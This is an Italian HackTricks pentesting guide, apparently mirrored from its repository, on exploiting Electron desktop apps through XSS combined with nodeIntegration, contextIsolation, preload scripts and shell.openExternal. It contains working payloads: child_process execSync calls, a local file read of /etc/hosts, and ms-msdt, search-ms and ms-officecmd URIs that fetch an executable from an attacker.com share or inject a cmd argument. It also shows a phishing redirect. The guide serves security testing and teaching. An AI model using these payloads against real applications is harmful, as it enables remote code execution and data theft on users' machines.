.. | ||
electron-contextisolation-rce-via-electron-internal-code.md | ||
electron-contextisolation-rce-via-ipc.md | ||
electron-contextisolation-rce-via-preload-code.md | ||
README.md |
Applicazioni desktop Electron
Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai repository github di HackTricks e HackTricks Cloud.
Introduzione
Electron combina un backend locale (con NodeJS) e un frontend (Chromium), anche se manca di alcuni dei meccanismi di sicurezza dei browser moderni.
Di solito puoi trovare il codice dell'applicazione Electron all'interno di un'applicazione .asar
, per ottenere il codice è necessario estrarlo:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
Nel codice sorgente di un'app Electron, all'interno di packet.json
, è possibile trovare specificato il file main.js
dove vengono impostate le configurazioni di sicurezza.
{
"name": "standard-notes",
"main": "./app/index.js",
Electron ha 2 tipi di processi:
- Processo principale (ha accesso completo a NodeJS)
- Processo renderer (dovrebbe avere accesso limitato a NodeJS per motivi di sicurezza)
Un processo renderer sarà una finestra del browser che carica un file:
const {BrowserWindow} = require('electron');
let win = new BrowserWindow();
//Open Renderer Process
win.loadURL(`file://path/to/index.html`);
Le impostazioni del processo renderer possono essere configurate nel processo principale all'interno del file main.js. Alcune delle configurazioni impediranno all'applicazione Electron di ottenere RCE o altre vulnerabilità se le impostazioni sono correttamente configurate.
L'applicazione Electron potrebbe accedere al dispositivo tramite le API di Node, anche se può essere configurata per prevenirlo:
nodeIntegration
- èoff
di default. Se attivato, consente di accedere alle funzionalità di Node dal processo renderer.contextIsolation
- èon
di default. Se attivato, i processi principali e renderer non sono isolati.preload
- vuoto di default.sandbox
- è disattivato di default. Limiterà le azioni che NodeJS può eseguire.- Node Integration in Workers
nodeIntegrationInSubframes
- èoff
di default.- Se
nodeIntegration
è abilitato, ciò consentirà l'uso delle API di Node.js nelle pagine web che vengono caricate negli iframe all'interno di un'applicazione Electron. - Se
nodeIntegration
è disabilitato, allora i preloads verranno caricati nell'iframe.
Esempio di configurazione:
const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};
Alcuni payload RCE da qui:
Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">
Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">
Cattura del traffico
Modifica la configurazione start-main e aggiungi l'utilizzo di un proxy come:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Iniezione di codice locale in Electron
Se riesci ad eseguire localmente un'app Electron, potrebbe essere possibile farla eseguire del codice JavaScript arbitrario. Verifica come farlo in:
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %} macos-electron-applications-injection.md {% endcontent-ref %}
RCE: XSS + nodeIntegration
Se l'opzione nodeIntegration è impostata su on, il JavaScript di una pagina web può utilizzare facilmente le funzionalità di Node.js semplicemente chiamando require()
. Ad esempio, il modo per eseguire l'applicazione calc su Windows è:
<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>
![](/Mirrors/hacktricks/media/commit/99e7865a3e284cfd8993eeab4a4a52c3ac18bf90/.gitbook/assets/image%20%285%29%20%284%29.png)
RCE: preload
Lo script indicato in questa impostazione viene caricato prima degli altri script nel renderer, quindi ha accesso illimitato alle API di Node:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
Quindi, lo script può esportare le funzionalità del nodo alle pagine:
{% code title="preload.js" %}
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
{% code title="index.html" %}
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>
{% endcode %}
{% hint style="info" %}
Se contextIsolation
è attivo, ciò non funzionerà
{% endhint %}
RCE: XSS + contextIsolation
Il contextIsolation introduce i contesti separati tra gli script della pagina web e il codice interno JavaScript di Electron in modo che l'esecuzione del codice JavaScript di ciascun contesto non influisca l'uno sull'altro. Questa è una funzionalità necessaria per eliminare la possibilità di RCE.
Se i contesti non sono isolati, un attaccante può:
- Eseguire JavaScript arbitrario nel renderer (XSS o navigazione verso siti esterni)
- Sovrascrivere il metodo integrato utilizzato nel codice di caricamento o nel codice interno di Electron con una propria funzione
- Scatenare l'uso della funzione sovrascritta
- RCE?
Ci sono 2 luoghi in cui i metodi integrati possono essere sovrascritti: nel codice di caricamento o nel codice interno di Electron:
{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %} electron-contextisolation-rce-via-preload-code.md {% endcontent-ref %}
{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %} electron-contextisolation-rce-via-electron-internal-code.md {% endcontent-ref %}
{% content-ref url="electron-contextisolation-rce-via-ipc.md" %} electron-contextisolation-rce-via-ipc.md {% endcontent-ref %}
Bypassare l'evento di clic
Se sono presenti restrizioni quando si fa clic su un link, potrebbe essere possibile aggirarle effettuando un clic centrale invece di un normale clic sinistro
window.addEventListener('click', (e) => {
RCE tramite shell.openExternal
Per ulteriori informazioni su questi esempi, consulta https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 e https://benjamin-altpeter.de/shell-openexternal-dangers/
Quando si distribuisce un'applicazione desktop Electron, è fondamentale assicurarsi che le impostazioni corrette per nodeIntegration
e contextIsolation
siano configurate correttamente. È stato stabilito che l'esecuzione di codice remoto lato client (RCE) mirando agli script di caricamento o al codice nativo di Electron dal processo principale viene efficacemente impedita con queste impostazioni.
Quando un utente interagisce con i link o apre nuove finestre, vengono attivati specifici ascoltatori di eventi, che sono cruciali per la sicurezza e la funzionalità dell'applicazione:
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
Questi listener sono sovrascritti dall'applicazione desktop per implementare la propria logica di business. L'applicazione valuta se un link navigato deve essere aperto internamente o in un browser web esterno. Questa decisione viene solitamente presa attraverso una funzione, openInternally
. Se questa funzione restituisce false
, indica che il link deve essere aperto esternamente, utilizzando la funzione shell.openExternal
.
Ecco un pseudocodice semplificato:
Le migliori pratiche di sicurezza di Electron JS sconsigliano di accettare contenuti non attendibili con la funzione openExternal
, in quanto potrebbe portare a RCE attraverso vari protocolli. I sistemi operativi supportano diversi protocolli che potrebbero innescare RCE. Per esempi dettagliati e ulteriori spiegazioni su questo argomento, si può fare riferimento a questa risorsa, che include esempi di protocolli Windows in grado di sfruttare questa vulnerabilità.
Esempi di exploit di protocolli Windows includono:
<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>
<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>
<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>
Lettura dei file interni: XSS + contextIsolation
Disabilitare contextIsolation
consente l'uso dei tag <webview>
, simili a <iframe>
, per la lettura ed esfiltrazione dei file locali. Viene fornito un esempio che dimostra come sfruttare questa vulnerabilità per leggere il contenuto dei file interni:
Inoltre, viene condiviso un altro metodo per leggere un file interno, evidenziando una vulnerabilità critica di lettura di file locali in un'applicazione desktop Electron. Ciò comporta l'iniezione di uno script per sfruttare l'applicazione ed esfiltrare i dati:
<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>
RCE: XSS + Chromium obsoleto
Se l'applicazione utilizza una versione obsoleta di chromium e sono presenti vulnerabilità note, potrebbe essere possibile sfruttarle per ottenere RCE tramite XSS.
Puoi vedere un esempio in questo articolo: https://blog.electrovolt.io/posts/discord-rce/
XSS Phishing tramite bypass regex URL interno
Supponendo di aver trovato un XSS ma non è possibile attivare RCE o rubare file interni, è possibile provare a utilizzarlo per rubare credenziali tramite phishing.
Prima di tutto devi sapere cosa succede quando si cerca di aprire un nuovo URL, controllando il codice JS nel front-end:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
La chiamata a openInternally
deciderà se il link verrà aperto nella finestra del desktop poiché è un link appartenente alla piattaforma, oppure se verrà aperto nel browser come risorsa di terze parti.
Nel caso in cui la regex utilizzata dalla funzione sia vulnerabile a bypass (ad esempio non facendo l'escape dei punti dei sottodomini), un attaccante potrebbe sfruttare l'XSS per aprire una nuova finestra che si troverà nell'infrastruttura dell'attaccante richiedendo le credenziali all'utente:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
Strumenti
- Electronegativity è uno strumento per identificare configurazioni errate e anti-pattern di sicurezza nelle applicazioni basate su Electron.
- Electrolint è un plugin open source per VS Code per applicazioni Electron che utilizza Electronegativity.
- nodejsscan per verificare la presenza di librerie di terze parti vulnerabili.
- Electro.ng: È necessario acquistarlo.
Laboratori
In https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s puoi trovare un laboratorio per sfruttare le app vulnerabili di Electron.
Alcuni comandi che ti aiuteranno con il laboratorio:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
Riferimenti
- https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
- https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
- https://www.youtube.com/watch?v=a-YnG3Mx-Tg
- https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
- Ulteriori ricerche e articoli su Electron security in https://github.com/doyensec/awesome-electronjs-hacking
- https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.